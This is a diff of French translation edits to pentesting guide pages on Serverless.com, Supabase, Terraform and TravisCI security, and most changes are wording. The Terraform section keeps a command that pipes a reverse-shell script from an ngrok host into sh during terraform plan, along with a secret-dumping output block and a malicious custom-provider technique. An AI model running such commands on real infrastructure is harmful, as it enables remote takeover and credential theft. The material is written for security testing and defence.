 - [**Checkov**](https://github.com/bridgecrewio/checkov) : **Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code.
 
-## References
+## Références
 
 - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
 
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index eded32d47..26ac7cc1f 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -1,4 +1,4 @@
-# Serverless.com Security
+# Sécurité de Serverless.com
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -10,7 +10,7 @@ Une **Organisation** est l'entité de plus haut niveau au sein de l'écosystème
 
 ### Équipe
 
-L'**Équipe** est constituée des utilisateurs ayant accès à l'intérieur de l'organisation. Les équipes aident à organiser les membres en fonction des rôles. Les **`Collaborateurs`** peuvent voir et déployer des applications existantes, tandis que les **`Admins`** peuvent créer de nouvelles applications et gérer les paramètres de l'organisation.
+L'**Équipe** est constituée des utilisateurs ayant accès à l'organisation. Les équipes aident à organiser les membres en fonction des rôles. Les **`Collaborateurs`** peuvent voir et déployer des applications existantes, tandis que les **`Admins`** peuvent créer de nouvelles applications et gérer les paramètres de l'organisation.
 
 ### Application
 
@@ -32,7 +32,7 @@ handler: handler.hello
 
 Fonction
 
-Une **Fonction** représente une seule fonction serverless, comme une fonction AWS Lambda. Elle contient le code qui s'exécute en réponse à des événements.
+Une **Fonction** représente une seule fonction sans serveur, comme une fonction AWS Lambda. Elle contient le code qui s'exécute en réponse à des événements.
 
 Elle est définie sous la section `functions` dans `serverless.yml`, spécifiant le gestionnaire, l'environnement d'exécution, les événements, les variables d'environnement et d'autres paramètres.
 ```yaml
@@ -50,7 +50,7 @@ method: get
 
 Événement
 
-**Les événements** sont des déclencheurs qui invoquent vos fonctions serverless. Ils définissent comment et quand une fonction doit être exécutée.
+**Les événements** sont des déclencheurs qui invoquent vos fonctions sans serveur. Ils définissent comment et quand une fonction doit être exécutée.
 
 Les types d'événements courants incluent les requêtes HTTP, les événements planifiés (tâches cron), les événements de base de données, les téléchargements de fichiers, et plus encore.
 ```yaml
@@ -138,9 +138,9 @@ plugins:
 
 

 
-Layers
+Couches
 
-**Layers** vous permettent de regrouper et de gérer le code partagé ou les dépendances séparément de vos fonctions. Cela favorise la réutilisabilité et réduit la taille des packages de déploiement. Ils sont définis sous la section `layers` et référencés par les fonctions.
+**Couches** vous permettent d'emballer et de gérer le code partagé ou les dépendances séparément de vos fonctions. Cela favorise la réutilisabilité et réduit la taille des packages de déploiement. Elles sont définies dans la section `layers` et référencées par les fonctions.
 ```yaml
 layers:
 commonLibs:
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
 
 Variables d'environnement
 
-**Variables** vous permettent de passer des paramètres de configuration et des secrets à vos fonctions sans les coder en dur. Elles sont définies sous la section `environment` pour le fournisseur ou pour des fonctions individuelles.
+**Les variables** vous permettent de transmettre des paramètres de configuration et des secrets à vos fonctions sans les coder en dur. Elles sont définies sous la section `environment` pour le fournisseur ou pour des fonctions individuelles.
 ```yaml
 provider:
 environment:
@@ -323,7 +323,7 @@ method: get
 {{#endtab }}
 {{#endtabs }}
 
-4. Créez un fournisseur AWS en allant dans le **tableau de bord** à `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
+4. Créez un fournisseur AWS en allant dans le **tableau de bord** à `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
 1. Pour donner accès à `serverless.com` à AWS, il demandera d'exécuter une pile cloudformation en utilisant ce fichier de configuration (au moment de la rédaction) : [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
 2. Ce modèle génère un rôle appelé **`SFRole-`** avec **`arn:aws:iam::aws:policy/AdministratorAccess`** sur le compte avec une identité de confiance qui permet au compte AWS de `Serverless.com` d'accéder au rôle.
 
@@ -482,8 +482,8 @@ TableName: ${self:service}-customerTable-${sls:stage}
 {{#endtabs }}
 
 6. Déployez-le en exécutant **`serverless deploy`**
-1. Le déploiement sera effectué via une pile CloudFormation
-2. Notez que les **lambdas sont exposées via API gateway** et non via des URL directes
+1. Le déploiement sera effectué via une CloudFormation Stack
+2. Notez que les **lambdas sont exposées via API gateway** et non via des URLs directes
 7. **Testez-le**
 1. L'étape précédente affichera les **URLs** où vos fonctions lambda des points de terminaison API ont été déployées
 
@@ -553,7 +553,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
 
 Stocker des informations sensibles (par exemple, des clés API, des identifiants de base de données) directement dans **`serverless.yml`** ou le code peut entraîner une exposition si les dépôts sont compromis.
 
-La méthode **recommandée** pour stocker des variables d'environnement dans le fichier **`serverless.yml`** de serverless.com (au moment de la rédaction) est d'utiliser les fournisseurs `ssm` ou `s3`, ce qui permet d'obtenir les **valeurs d'environnement de ces sources au moment du déploiement** et de **configurer** les **variables d'environnement des lambdas** avec le **texte clair des valeurs** !
+La manière **recommandée** de stocker des variables d'environnement dans le fichier **`serverless.yml`** de serverless.com (au moment de la rédaction) est d'utiliser les fournisseurs `ssm` ou `s3`, ce qui permet d'obtenir les **valeurs d'environnement de ces sources au moment du déploiement** et de **configurer** les **variables d'environnement des lambdas** avec le **texte clair des valeurs** !
 
 > [!CAUTION]
 > Par conséquent, toute personne ayant des autorisations pour lire la configuration des lambdas dans AWS pourra **accéder à toutes ces variables d'environnement en texte clair !**
@@ -567,7 +567,7 @@ DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
 Et même si cela empêche de coder en dur la valeur de la variable d'environnement dans le **`serverless.yml`**, la valeur sera obtenue au moment du déploiement et sera **ajoutée en texte clair à l'intérieur de la variable d'environnement lambda**.
 
 > [!TIP]
-> La manière recommandée de stocker les variables d'environnement en utilisant serveless.com serait de **les stocker dans un secret AWS** et de simplement stocker le nom du secret dans la variable d'environnement et le **code lambda devrait le récupérer**.
+> La manière recommandée de stocker des variables d'environnement en utilisant serveless.com serait de **les stocker dans un secret AWS** et de simplement stocker le nom du secret dans la variable d'environnement et le **code lambda devrait le récupérer**.
 
 #### **Stratégies d'atténuation**
 
@@ -661,13 +661,13 @@ headers:
 - Content-Type
 ```
 
-- **Utiliser des Pare-feu d'Applications Web (WAF) :** Filtrer et surveiller les requêtes HTTP pour des motifs malveillants.
+- **Utiliser des Pare-feux d'Applications Web (WAF) :** Filtrer et surveiller les requêtes HTTP pour des motifs malveillants.
 
 ---
 
 ### **Isolation de Fonction Insuffisante**
 
-Des ressources partagées et une isolation inadéquate peuvent entraîner des escalades de privilèges ou des interactions non intentionnelles entre les fonctions.
+Des ressources partagées et une isolation inadéquate peuvent entraîner des élévations de privilèges ou des interactions non intentionnelles entre les fonctions.
 
 #### **Stratégies d'atténuation**
 
@@ -712,9 +712,9 @@ SSEEnabled: true
 
 ---
 
-### **Manque de Gestion d'Erreur Appropriée**
+### **Manque de Gestion d'Erreurs Appropriée**
 
-Des messages d'erreur détaillés peuvent exposer des informations sensibles sur l'infrastructure ou le code, tandis que des exceptions non gérées peuvent entraîner des plantages d'application.
+Des messages d'erreur détaillés peuvent révéler des informations sensibles sur l'infrastructure ou le code, tandis que des exceptions non gérées peuvent entraîner des plantages d'application.
 
 #### **Stratégies d'atténuation**
 
@@ -735,8 +735,8 @@ body: JSON.stringify({ message: 'Erreur Interne du Serveur' }),
 };
 ```
 
-- **Gestion Centralisée des Erreurs :** Gérez et désinfectez les erreurs de manière cohérente dans toutes les fonctions.
-- **Surveiller et Journaliser les Erreurs :** Suivez et analysez les erreurs en interne sans exposer de détails aux utilisateurs finaux.
+- **Gestion Centralisée des Erreurs :** Gérez et désinfectez les erreurs de manière cohérente à travers toutes les fonctions.
+- **Surveiller et Journaliser les Erreurs :** Suivez et analysez les erreurs en interne sans exposer les détails aux utilisateurs finaux.
 
 ---
 
@@ -749,7 +749,7 @@ Des configurations de déploiement exposées ou un accès non autorisé aux pipe
 - **Sécuriser les Pipelines CI/CD :** Mettez en œuvre des contrôles d'accès stricts, une authentification multi-facteurs (MFA) et des audits réguliers.
 - **Stocker la Configuration de Manière Sécurisée :** Gardez les fichiers de déploiement exempts de secrets codés en dur et de données sensibles.
 - **Utiliser des Outils de Sécurité pour l'Infrastructure as Code (IaC) :** Employez des outils comme **Checkov** ou **Terraform Sentinel** pour appliquer des politiques de sécurité.
-- **Déploiements Immutables :** Prévenir les modifications non autorisées après le déploiement en adoptant des pratiques d'infrastructure immuable.
+- **Déploiements Immutables :** Empêchez les modifications non autorisées après le déploiement en adoptant des pratiques d'infrastructure immuable.
 
 ---
 
@@ -773,9 +773,9 @@ Des fonctions accessibles au public ou des API non restreintes peuvent être exp
 #### **Stratégies d'atténuation**
 
 - **Restreindre l'Accès aux Fonctions :** Utilisez des VPC, des groupes de sécurité et des règles de pare-feu pour limiter l'accès aux sources de confiance.
-- **Mettre en Œuvre une Authentification Robuste :** Assurez-vous que tous les points de terminaison exposés nécessitent une authentification et une autorisation appropriées.
+- **Implémenter une Authentification Robuste :** Assurez-vous que tous les points de terminaison exposés nécessitent une authentification et une autorisation appropriées.
 - **Utiliser les API Gateways de Manière Sécurisée :** Configurez les API Gateways pour appliquer des politiques de sécurité, y compris la validation des entrées et la limitation de taux.
-- **Désactiver les Points de Terminaison Inutilisés :** Passez régulièrement en revue et désactivez tout point de terminaison qui n'est plus utilisé.
+- **Désactiver les Points de Terminaison Inutilisés :** Passez régulièrement en revue et désactivez tous les points de terminaison qui ne sont plus utilisés.
 
 ---
 
@@ -785,7 +785,7 @@ Accorder des permissions excessives aux membres de l'équipe et aux collaborateu
 
 #### **Stratégies d'atténuation**
 
-- **Principe du Moindre Privilège :** Assurez-vous que les membres de l'équipe et les collaborateurs n'ont que les permissions nécessaires pour effectuer leurs tâches.
+- **Principe du Moins de Privilèges :** Assurez-vous que les membres de l'équipe et les collaborateurs n'ont que les permissions nécessaires pour effectuer leurs tâches.
 
 ---
 
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 35766dddc..c73700e64 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -4,18 +4,18 @@
 
 ## Informations de base
 
-Selon leur [**page d'accueil**](https://supabase.com/) : Supabase est une alternative open source à Firebase. Commencez votre projet avec une base de données Postgres, Authentification, APIs instantanées, Fonctions Edge, abonnements en temps réel, Stockage et embeddings vectoriels.
+Selon leur [**page d'accueil**](https://supabase.com/): Supabase est une alternative open source à Firebase. Commencez votre projet avec une base de données Postgres, Authentification, APIs instantanées, Fonctions Edge, abonnements en temps réel, Stockage et embeddings vectoriels.
 
 ### Sous-domaine
 
-En gros, lorsqu'un projet est créé, l'utilisateur recevra un sous-domaine supabase.co comme : **`jnanozjdybtpqgcwhdiz.supabase.co`**
+Fondamentalement, lorsqu'un projet est créé, l'utilisateur recevra un sous-domaine supabase.co comme : **`jnanozjdybtpqgcwhdiz.supabase.co`**
 
 ## **Configuration de la base de données**
 
 > [!TIP]
 > **Ces données peuvent être accessibles via un lien comme `https://supabase.com/dashboard/project//settings/database`**
 
-Cette **base de données** sera déployée dans une région AWS, et pour s'y connecter, il serait possible de le faire en se connectant à : `postgres://postgres.jnanozjdybtpqgcwhdiz:[VOTRE-MOT-DE-PASSE]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (cela a été créé dans us-west-1).\
+Cette **base de données** sera déployée dans une région AWS, et pour s'y connecter, il serait possible de le faire en se connectant à : `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (cela a été créé dans us-west-1).\
 Le mot de passe est un **mot de passe que l'utilisateur a saisi** précédemment.
 
 Par conséquent, comme le sous-domaine est connu et qu'il est utilisé comme nom d'utilisateur et que les régions AWS sont limitées, il pourrait être possible d'essayer de **forcer le mot de passe**.
@@ -23,7 +23,7 @@ Par conséquent, comme le sous-domaine est connu et qu'il est utilisé comme nom
 Cette section contient également des options pour :
 
 - Réinitialiser le mot de passe de la base de données
-- Configurer le pool de connexions
+- Configurer le pooling de connexions
 - Configurer SSL : Rejeter les connexions en texte clair (par défaut, elles sont activées)
 - Configurer la taille du disque
 - Appliquer des restrictions et des interdictions réseau
@@ -118,17 +118,17 @@ Un **JWT Secret** sera également généré afin que l'application puisse **cré
 > [!TIP]
 > Par **défaut**, supabase permettra aux **nouveaux utilisateurs de créer des comptes** sur votre projet en utilisant les points de terminaison API mentionnés précédemment.
 
-Cependant, ces nouveaux comptes, par défaut, **devront valider leur adresse e-mail** pour pouvoir se connecter au compte. Il est possible d'activer **"Autoriser les connexions anonymes"** pour permettre aux gens de se connecter sans vérifier leur adresse e-mail. Cela pourrait donner accès à **des données inattendues** (ils obtiennent les rôles `public` et `authenticated`).\
+Cependant, ces nouveaux comptes, par défaut, **devront valider leur adresse e-mail** pour pouvoir se connecter au compte. Il est possible d'activer **"Autoriser les connexions anonymes"** pour permettre aux personnes de se connecter sans vérifier leur adresse e-mail. Cela pourrait donner accès à **des données inattendues** (ils obtiennent les rôles `public` et `authenticated`).\
 C'est une très mauvaise idée car supabase facture par utilisateur actif, donc les gens pourraient créer des utilisateurs et se connecter et supabase facturera pour ceux-ci :
 
 

 
-### Mots de passe & sessions
+### Mots de passe et sessions
 
 Il est possible d'indiquer la longueur minimale des mots de passe (par défaut), les exigences (aucune par défaut) et d'interdire l'utilisation de mots de passe compromis.\
-Il est recommandé d'**améliorer les exigences car celles par défaut sont faibles**.
+Il est recommandé de **renforcer les exigences car celles par défaut sont faibles**.
 
-- Sessions utilisateur : Il est possible de configurer le fonctionnement des sessions utilisateur (délai, 1 session par utilisateur...)
+- Sessions utilisateur : Il est possible de configurer le fonctionnement des sessions utilisateur (délai d'expiration, 1 session par utilisateur...)
 - Protection contre les bots et les abus : Il est possible d'activer Captcha.
 
 ### Paramètres SMTP
@@ -138,7 +138,7 @@ Il est possible de définir un SMTP pour envoyer des e-mails.
 ### Paramètres avancés
 
 - Définir le temps d'expiration des jetons d'accès (3600 par défaut)
-- Détecter et révoquer les jetons de rafraîchissement potentiellement compromis et le délai
+- Détecter et révoquer les jetons de rafraîchissement potentiellement compromis et le délai d'expiration
 - MFA : Indiquer combien de facteurs MFA peuvent être enregistrés à la fois par utilisateur (10 par défaut)
 - Max Direct Database Connections : Nombre maximum de connexions utilisées pour l'authentification (10 par défaut)
 - Max Request Duration : Temps maximum autorisé pour qu'une demande d'authentification dure (10s par défaut)
@@ -148,7 +148,7 @@ Il est possible de définir un SMTP pour envoyer des e-mails.
 > [!TIP]
 > Supabase permet **de stocker des fichiers** et de les rendre accessibles via une URL (il utilise des buckets S3).
 
-- Définir la limite de taille de fichier à télécharger (la valeur par défaut est 50 Mo)
+- Définir la limite de taille de fichier à télécharger (la valeur par défaut est de 50 Mo)
 - La connexion S3 est donnée avec une URL comme : `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
 - Il est possible de **demander une clé d'accès S3** qui est formée par un `access key ID` (par exemple, `a37d96544d82ba90057e0e06131d0a7b`) et une `secret access key` (par exemple, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
 
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 13dca5215..e53f85c14 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -4,7 +4,7 @@
 
 ## Informations de base
 
-[Des docs :](https://developer.hashicorp.com/terraform/intro)
+[Selon la documentation :](https://developer.hashicorp.com/terraform/intro)
 
 HashiCorp Terraform est un **outil d'infrastructure en tant que code** qui vous permet de définir à la fois des **ressources cloud et sur site** dans des fichiers de configuration lisibles par l'homme que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un flux de travail cohérent pour provisionner et gérer toute votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants de bas niveau comme le calcul, le stockage et les ressources réseau, ainsi que des composants de haut niveau comme les entrées DNS et les fonctionnalités SaaS.
 
@@ -28,15 +28,15 @@ Le flux de travail principal de Terraform se compose de trois étapes :
 
 Il vous suffit d'installer terraform sur votre ordinateur.
 
-Voici un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et ici vous avez la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads).
+Voici un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et voici la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads).
 
 ## RCE dans Terraform
 
-Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, donc, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform**.
+Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, par conséquent, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform**.
 
 Cependant, terraform est un **composant très sensible** à compromettre car il aura **un accès privilégié** à différents emplacements afin de fonctionner correctement.
 
-La principale façon pour un attaquant de pouvoir compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.
+Le principal moyen pour un attaquant de compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.
 
 En fait, il existe des solutions qui **exécutent automatiquement terraform plan/apply après qu'une PR** soit créée, comme **Atlantis** :
 
@@ -44,7 +44,7 @@ En fait, il existe des solutions qui **exécutent automatiquement terraform plan
 atlantis-security.md
 {{#endref}}
 
-Si vous êtes capable de compromettre un fichier terraform, il existe différentes façons de réaliser un RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`.
+Si vous parvenez à compromettre un fichier terraform, il existe différentes façons de réaliser un RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`.
 
 ### Terraform plan
 
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
 ```
 **Utilisation d'un fournisseur personnalisé**
 
-Un attaquant pourrait envoyer un [fournisseur personnalisé](https://learn.hashicorp.com/tutorials/terraform/provider-setup) au [Terraform Registry](https://registry.terraform.io/) et ensuite l'ajouter au code Terraform dans une branche de fonctionnalité ([exemple ici](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Un attaquant pourrait envoyer un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) au [Terraform Registry](https://registry.terraform.io/) et ensuite l'ajouter au code Terraform dans une branche de fonctionnalité ([exemple ici](https://alex.kaskaso.li/post/terraform-plan-rce)):
 ```javascript
 terraform {
 required_providers {
@@ -116,13 +116,13 @@ Suivez les **suggestions de la technique précédente** pour effectuer cette att
 
 ## Secrets Dumps
 
-Vous pouvez avoir **des valeurs secrètes utilisées par terraform extraites** en exécutant `terraform apply` en ajoutant au fichier terraform quelque chose comme :
+Vous pouvez avoir des **valeurs secrètes utilisées par terraform extraites** en exécutant `terraform apply` en ajoutant au fichier terraform quelque chose comme :
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
 }
 ```
-## Abus des fichiers d'état Terraform
+## Abuser des fichiers d'état Terraform
 
 Dans le cas où vous avez un accès en écriture sur les fichiers d'état terraform mais ne pouvez pas modifier le code terraform, [**cette recherche**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) propose des options intéressantes pour tirer parti du fichier :
 
@@ -208,7 +208,7 @@ snyk iac test /path/to/terraform/code
 
 **Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code (IaC) et également un outil d'analyse de composition logicielle (SCA) pour les images et les packages open source.
 
-Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.
+Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration en matière de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.
 
 Il effectue une [analyse de composition logicielle (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) qui est une analyse des packages open source et des images pour les vulnérabilités et expositions communes (CVE).
 ```bash
@@ -220,7 +220,7 @@ checkov -d /path/to/folder
 D'après les [**docs**](https://github.com/terraform-compliance/cli) : `terraform-compliance` est un cadre de test léger, axé sur la sécurité et la conformité, contre terraform pour permettre la capacité de test négatif pour votre infrastructure-as-code.
 
 - **conformité :** Assurez-vous que le code implémenté respecte les normes de sécurité, vos propres normes personnalisées
-- **développement dirigé par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
+- **développement piloté par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
 - **portable :** installez-le simplement via `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/)
 - **pré-déploiement :** il valide votre code avant qu'il ne soit déployé
 - **facile à intégrer :** il peut s'exécuter dans votre pipeline (ou dans des hooks git) pour garantir que tous les déploiements sont validés.
@@ -254,7 +254,7 @@ tfsec /path/to/folder
 ```
 ### [KICKS](https://github.com/Checkmarx/kics)
 
-Trouvez des vulnérabilités de sécurité, des problèmes de conformité et des erreurs de configuration d'infrastructure tôt dans le cycle de développement de votre infrastructure-as-code avec **KICS** de Checkmarx.
+Trouvez des vulnérabilités de sécurité, des problèmes de conformité et des erreurs de configuration d'infrastructure tôt dans le cycle de développement de votre infrastructure en tant que code avec **KICS** de Checkmarx.
 
 **KICS** signifie **K**eeping **I**nfrastructure as **C**ode **S**ecure, il est open source et est indispensable pour tout projet cloud natif.
 ```bash
@@ -265,7 +265,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 D'après les [**docs**](https://github.com/tenable/terrascan) : Terrascan est un analyseur de code statique pour l'Infrastructure as Code. Terrascan vous permet de :
 
 - Scanner sans effort l'infrastructure en tant que code pour des erreurs de configuration.
-- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent une dérive de posture, et permet de revenir à une posture sécurisée.
+- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent un dérive de posture, et permet de revenir à une posture sécurisée.
 - Détecter des vulnérabilités de sécurité et des violations de conformité.
 - Atténuer les risques avant de provisionner une infrastructure cloud native.
 - Offrir la flexibilité de fonctionner localement ou de s'intégrer à votre CI\CD.
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index c4121e0b0..bbe1ee5a2 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -1,4 +1,4 @@
-# TODO
+# À FAIRE
 
 {{#include ../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index f7277e4ca..34ce35d82 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -35,18 +35,18 @@ TravisCI désactive par défaut le partage des variables d'environnement avec le
 
 ### Dumping Secrets
 
-Comme expliqué dans la page [**informations de base**](basic-travisci-information.md), il existe 2 types de secrets. Les **secrets des variables d'environnement** (qui sont listés sur la page web) et les **secrets chiffrés personnalisés**, qui sont stockés dans le fichier `.travis.yml` sous forme de base64 (notez que les deux, lorsqu'ils sont stockés chiffrés, finiront par être des variables d'environnement dans les machines finales).
+Comme expliqué dans la page [**informations de base**](basic-travisci-information.md), il existe 2 types de secrets. Les **secrets de variables d'environnement** (qui sont listés sur la page web) et les **secrets chiffrés personnalisés**, qui sont stockés dans le fichier `.travis.yml` sous forme de base64 (notez que les deux, une fois stockés chiffrés, finiront par être des variables d'environnement dans les machines finales).
 
-- Pour **énumérer les secrets** configurés comme **variables d'environnement**, allez dans les **paramètres** du **projet** et vérifiez la liste. Cependant, notez que toutes les variables d'environnement du projet définies ici apparaîtront lors du déclenchement d'une construction.
+- Pour **énumérer les secrets** configurés comme **Variables d'Environnement**, allez dans les **paramètres** du **projet** et vérifiez la liste. Cependant, notez que toutes les variables d'environnement du projet définies ici apparaîtront lors du déclenchement d'une construction.
 - Pour énumérer les **secrets chiffrés personnalisés**, le mieux que vous puissiez faire est de **vérifier le fichier `.travis.yml`**.
-- Pour **énumérer les fichiers chiffrés**, vous pouvez vérifier les **fichiers `.enc`** dans le dépôt, pour des lignes similaires à `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` dans le fichier de configuration, ou pour des **iv et clés chiffrés** dans les **variables d'environnement** telles que :
+- Pour **énumérer les fichiers chiffrés**, vous pouvez vérifier les **fichiers `.enc`** dans le dépôt, pour des lignes similaires à `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` dans le fichier de configuration, ou pour des **iv et clés chiffrés** dans les **Variables d'Environnement** telles que :
 
 ![](<../../images/image (81).png>)
 
 ### À FAIRE :
 
 - Exemple de construction avec un shell inversé fonctionnant sur Windows/Mac/Linux
-- Exemple de construction fuyant l'encodage base64 des env dans les journaux
+- Exemple de construction fuyant l'encodage base64 des env dans les logs
 
 ### TravisCI Enterprise
 
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 61e25beac..a0dafa83c 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -16,15 +16,15 @@ Par exemple, dans Github, il demandera les permissions suivantes :
 
 ### Variables d'environnement
 
-Dans TravisCI, comme dans d'autres plateformes CI, il est possible de **sauvegarder au niveau du dépôt des secrets** qui seront sauvegardés chiffrés et seront **décryptés et poussés dans la variable d'environnement** de la machine exécutant la build.
+Dans TravisCI, comme dans d'autres plateformes CI, il est possible de **sauvegarder au niveau du dépôt des secrets** qui seront sauvegardés chiffrés et seront **décryptés et poussés dans la variable d'environnement** de la machine exécutant la construction.
 
 ![](<../../images/image (203).png>)
 
-Il est possible d'indiquer les **branches auxquelles les secrets seront disponibles** (par défaut toutes) et aussi si TravisCI **doit cacher sa valeur** si elle apparaît **dans les logs** (par défaut, il le fera).
+Il est possible d'indiquer les **branches auxquelles les secrets seront disponibles** (par défaut toutes) et aussi si TravisCI **doit cacher sa valeur** si elle apparaît **dans les journaux** (par défaut, il le fera).
 
 ### Secrets chiffrés personnalisés
 
-Pour **chaque dépôt**, TravisCI génère une **paire de clés RSA**, **garde** la **clé privée**, et rend la **clé publique** du dépôt disponible pour ceux qui ont **accès** au dépôt.
